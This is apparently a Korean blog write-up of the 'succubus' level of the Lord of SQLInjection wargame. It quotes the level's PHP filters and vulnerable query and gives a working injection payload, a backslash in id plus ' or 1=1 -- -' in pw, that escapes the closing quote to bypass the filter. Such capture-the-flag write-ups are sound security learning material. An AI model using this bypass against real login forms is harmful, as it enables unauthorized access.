[Lord of SQLInjection]succubus write up

zzsla·2023년 6월 18일
0

문제 정보

없다.

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 id, pw값에 prob, _, ., (), '가 들어가면 프로그램이 죽는다. 즉 필터링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");

그 다음은 query에 sql명령문이 나온다.
명령문은 id를 찾는데 prob_succubus라는 테이블에 있어야 하고, id, pw값은 요청된 id, pw값이어야 한다.

  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 

그리고 id를 찾으면 문제가 풀린다.

  if($result['id']) solve("succubus"); 

취약점

이 문제를 풀기 위해선 id를 찾아야 하는데 id를 찾기 위해서 id값과 pw값을 알고 있어야 한다. 하지만 모르기 때문에 sql injection을 이용하여 필터링을 잘 우회해서 문제를 풀어야 한다.
\는 다른 의미가 생기지 않게 막을 수 있지만 반대의 경우도 생기게 할 수 있다.

익스플로잇

\id값에 넣어서 id 뒤에 있는 '의 의미를 문자열로 인식하게 만든다. 그렇게 하면 다음 'pw 앞까지가 id의 범위가 되면서 pw값에 '를 넣지 않아도 되게 된다. 그래서 pw값에 or를 넣고, 뒤에 true로 만들고 뒤에 주석 처리만 하면 문제가 풀린다.
/?id=\&pw= or 1=1 -- -

익스플로잇을 넣었을 때 실행될 sql query

select id from prob_succubus where id='\' and pw=' or 1=1 -- -'
profile
[README]newbi security hacker :p

0개의 댓글